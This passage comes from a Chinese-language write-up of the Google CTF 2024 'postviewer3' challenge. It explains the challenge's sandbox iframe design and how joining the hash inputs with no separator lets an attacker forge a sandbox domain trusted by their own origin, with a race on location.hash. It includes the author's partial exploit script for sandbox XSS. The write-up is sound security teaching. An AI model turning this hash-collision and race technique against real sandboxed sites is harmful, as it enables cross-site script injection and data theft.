class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>body <span class="token operator">===</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> <span class="token operator">!</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>mimeType<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"No content to render"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token punctuation">&#123;</span>body<span class="token punctuation">,</span> salt<span class="token punctuation">,</span> mimeType<span class="token punctuation">&#125;</span> <span class="token operator">=</span> e<span class="token punctuation">.</span>data<span class="token punctuation">;</span>    <span class="token punctuation">[</span>body<span class="token punctuation">,</span> salt<span class="token punctuation">,</span> mimeType<span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token punctuation">,</span> <span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token operator">=></span><span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> e <span class="token operator">!==</span> <span class="token string">'string'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Expected '</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">' to be a string.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span>body<span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token punctuation">,</span> <span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">,</span> salt<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>hash <span class="token operator">!==</span> <span class="token constant">FILE_HASH</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Expected hash: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>hash<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">const</span> blob <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span>body<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">type</span><span class="token operator">:</span> mimeType <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    window<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span>    e<span class="token punctuation">.</span>source<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token string">'blob loaded'</span><span class="token punctuation">,</span> e<span class="token punctuation">.</span>origin<span class="token punctuation">)</span><span class="token punctuation">;</span>    location<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span>blob<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>基本上就是檢查幾個東西：</p><ol><li>onmessage 的 origin 是不是網址列上的 origin</li><li>傳入的資料 hash 過後，是不是與 domain name 相等</li></ol><p>如果以上都符合，那就把傳入的 body 變成 blob，然後載入這個 blob。</p><p>接著讓我們回來看剛剛提到的 iframe，在這個 shim.html 的 iframe 載入完成後，會向這個 iframe postMessage，傳入剛剛講的固定的 HTML，內容為：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>utf-8<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>Evaluator<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">      <span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>source <span class="token operator">!==</span> parent<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>          <span class="token keyword">throw</span> <span class="token operator">/</span>not parent<span class="token operator">/</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>eval<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>          <span class="token function">eval</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>eval<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>      <span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>        parent<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token string">'loader ready'</span><span class="token punctuation">,</span><span class="token string">'*'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">      <span class="token selector">body</span><span class="token punctuation">&#123;</span>        <span class="token property">padding</span><span class="token punctuation">:</span> 0px<span class="token punctuation">;</span>        <span class="token property">margin</span><span class="token punctuation">:</span> 0px<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token selector">iframe</span><span class="token punctuation">&#123;</span>        <span class="token property">width</span><span class="token punctuation">:</span> 100vw<span class="token punctuation">;</span>        <span class="token property">height</span><span class="token punctuation">:</span> 100vh<span class="token punctuation">;</span>        <span class="token property">border</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token selector">.spinner</span> <span class="token punctuation">&#123;</span>        <span class="token property">background</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span>https://storage.googleapis.com/gctf-postviewer/spinner.svg<span class="token punctuation">)</span></span> center no-repeat<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token selector">.spinner iframe</span><span class="token punctuation">&#123;</span>        <span class="token property">opacity</span><span class="token punctuation">:</span> 0.2      <span class="token punctuation">&#125;</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>spinner<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因此，這時 iframe 的內容會變成上面的 HTML，就只是 eval 傳入的參數而已。</p><p>而最後一步，會向這個 iframe postMessage，把檔案的內容跟 mimeType 帶上，然後 eval 底下這一段程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> container <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#container"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>container<span class="token punctuation">.</span>textContent <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span><span class="token keyword">const</span> iframe <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'iframe'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>iframe<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>body<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">type</span><span class="token operator">:</span> e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>type<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>sandbox<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  iframe<span class="token punctuation">.</span>sandbox <span class="token operator">=</span> e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>sandbox<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>iframe<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">=></span><span class="token punctuation">&#123;</span>  container<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token string">'spinner'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">5000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>iframe<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">=></span><span class="token punctuation">&#123;</span>    container<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token string">'spinner'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">500</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>所以最後在這個 iframe 裡面又會有一個 sandboxed iframe，檔案的內容就在裡面。</p><p>是不是很複雜？我當初反反覆覆看了幾遍才搞懂整個流程在幹嘛，還順手畫了一張示意圖：</p><p><img src="/img/google-ctf-2024-writeup/p2.png" alt="flow"></p><p>在解這題的時候，我一開始在想這些 onmessage 能不能被攻破，但想了一下之後發現沒辦法。</p><p>因為所有的 iframe 都有對 source.origin 做驗證，因此沒有辦法從不合法的 origin 傳訊息進去。而另一方面，很明顯的我們可以拿到某些 sandbox 的 XSS，只要拿自己的 origin 算出 hash 即可。</p><p>但是拿一個隨機的 sandbox XSS 是沒用的，我們有沒有可能拿到含有 flag 的 sandbox domain 的 XSS？</p><p>產生 domain 的 hash 由底下四個元素組成：</p><ol><li>body（固定）</li><li>product（固定）</li><li>window.origin（固定）</li><li>location.href（會包含 hash，但我們不知道 hash 內容）</li></ol><p>我第一個想法是，能不能讓程式碼執行到這一段時，讓 location.hash 變回空的，這樣所有的內容都已知，就可以算出 hash。</p><p>處理 hash 的程式碼如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token function-variable function">processHash</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  safeFrameModal<span class="token punctuation">.</span><span class="token function">hide</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> hash <span class="token operator">=</span> location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>hash<span class="token punctuation">.</span>length <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> id <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">;</span>    location<span class="token punctuation">.</span>hash <span class="token operator">=</span> filesList<span class="token punctuation">.</span><span class="token function">querySelectorAll</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">)</span><span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token punctuation">.</span>id<span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">const</span> fileDiv <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>fileDiv <span class="token operator">===</span> <span class="token keyword">null</span> <span class="token operator">||</span> <span class="token operator">!</span>fileDiv<span class="token punctuation">.</span>dataset<span class="token punctuation">.</span>name<span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>  previewIframeDiv<span class="token punctuation">.</span>textContent <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span>  <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">previewFile</span><span class="token punctuation">(</span>db<span class="token punctuation">.</span><span class="token function">getFile</span><span class="token punctuation">(</span>fileDiv<span class="token punctuation">.</span>dataset<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">,</span> previewIframeDiv<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">/* If modal is not shown remove hash */</span>  <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>previewModalDiv<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">'show'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      location<span class="token punctuation">.</span>hash <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'hashchange'</span><span class="token punctuation">,</span> processHash<span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>中間有一個 <code>await sleep(0)</code> 讓後續的操作變成非同步，所以理論上可以 race condition 一下，讓這一段拿到的 hash 是 <code>#0</code> 然後變成 flag file id，但之後跑到 <code>previewFile</code> 時，<code>location.hash</code> 變成 <code>#</code>。</p><p>不過後來我想了想，這樣也是沒用的，因為 trust origin 還是題目的 domain，就算知道了 hash，我也沒辦法做任何事。</p><p>但過不久我重新看了一次產生 hash 的程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>strings</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> encoder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TextEncoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> string <span class="token operator">=</span> strings<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> crypto<span class="token punctuation">.</span>subtle<span class="token punctuation">.</span><span class="token function">digest</span><span class="token punctuation">(</span><span class="token string">"SHA-256"</span><span class="token punctuation">,</span> encoder<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">,</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這邊就只是將傳入的四個參數拼在一起而已，因此以題目來說，每個參數如下：</p><pre class="line-numbers language-none"><code class="language-none">body: BODYproduct: postviewerorigin: https:&#x2F;&#x2F;postviewer3-web.2024.ctfcompetition.comhref: https:&#x2F;&#x2F;postviewer3-web.2024.ctfcompetition.com&#x2F;#file-sha1-hash<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>拼出來的結果是：</p><pre class="line-numbers language-none"><code class="language-none">BODYpostviewer&#123;CHALL_ORIGIN&#125;&#123;CHALL_ORIGIN&#125;&#x2F;#file-sha1-hash<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>假如我們真的可以控制 hash 的話，可以變成這樣：</p><pre class="line-numbers language-none"><code class="language-none">BODYpostviewer&#123;CHALL_ORIGIN&#125;&#123;CHALL_ORIGIN&#125;&#x2F;#postviewerhttps:&#x2F;&#x2F;example.com<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如此一來，底下的輸出就會算出一個相同的結果：</p><pre class="line-numbers language-none"><code class="language-none">body: BODYpostviewer&#123;CHALL_ORIGIN&#125;&#123;CHALL_ORIGIN&#125;&#x2F;#product: postviewerorigin: https:&#x2F;&#x2F;example.comhref: &#39;&#39;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>此時的 origin 已經變成了我們自己的 domain，因此就可以偽造出一個相同 hash 的 sandbox domain，並且 trust origin 是我們自己。</p><p>拿到 sandbox XSS 之後就簡單了，我原本的想法是既然都是 same-origin 了，就直接蓋掉 <code>onmessage</code> 或是 <code>Blob</code>，攔截一下輸入就好，畢竟最後含有 flag 的 iframe 沒辦法存取，因為 origin 會是 null。</p><p>總之呢，想法大致如上，不過最困難的就是到底要怎麼觸發這個 race condition，我自己的 exploit 如下：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>log</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> <span class="token function-variable function">sleep</span> <span class="token operator">=</span> <span class="token parameter">ms</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">const</span> callbackUrl <span class="token operator">=</span> window<span class="token punctuation">.</span>origin  <span class="token keyword">const</span> evaluatorHtml <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&#123;NOT_IMPORTANT&#125;</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>  <span class="token keyword">function</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> arr      <span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">256</span><span class="token punctuation">)</span> <span class="token operator">*</span> a <span class="token operator">+</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>      <span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>strings</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> encoder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TextEncoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> string <span class="token operator">=</span> strings<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> crypto<span class="token punctuation">.</span>subtle<span class="token punctuation">.</span><span class="token function">digest</span><span class="token punctuation">(</span><span class="token string">'SHA-256'</span><span class="token punctuation">,</span> encoder<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getSandboxXss</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> selfOrigin <span class="token operator">=</span> window<span class="token punctuation">.</span>origin      <span class="token keyword">const</span> <span class="token constant">PRODUCT</span> <span class="token operator">=</span> <span class="token string">'postviewer'</span>      <span class="token keyword">const</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">body</span><span class="token operator">:</span> evaluatorHtml <span class="token operator">+</span> <span class="token string">'postviewerhttps://postviewer3-web.2024.ctfcompetition.comhttps://postviewer3-web.2024.ctfcompetition.com/#'</span><span class="token punctuation">,</span>        <span class="token literal-property property">salt</span><span class="token operator">:</span> <span class="token string">''</span><span class="token punctuation">,</span>        <span class="token literal-property property">mimeType</span><span class="token operator">:</span> <span class="token string">'text/html; charset=utf-8'</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>body<span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token punctuation">,</span> selfOrigin<span class="token punctuation">,</span> data<span class="token punctuation">.</span>salt<span class="token punctuation">)</span><span class="token punctuation">;</span>      log<span class="token punctuation">.</span>innerText <span class="token operator">+=</span> <span class="token string">'hash:'</span> <span class="token operator">+</span> hash      <span class="token keyword">const</span> url <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://sbx-</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>hash<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">.postviewer3-web.2024.ctfcompetition.com/postviewer/shim.html?o=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>selfOrigin<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span>      <span class="token keyword">const</span> iframe <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'iframe'</span><span class="token punctuation">)</span>      iframe<span class="token punctuation">.</span>src <span class="token operator">=</span> url      iframe<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        iframe<span class="token punctuation">.</span>contentWindow<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span>data<span class="token punctuation">,</span> <span class="token string">'*'</span><span class="token punctuation">)</span>        <span class="token function">setTimeout</span><span class="token 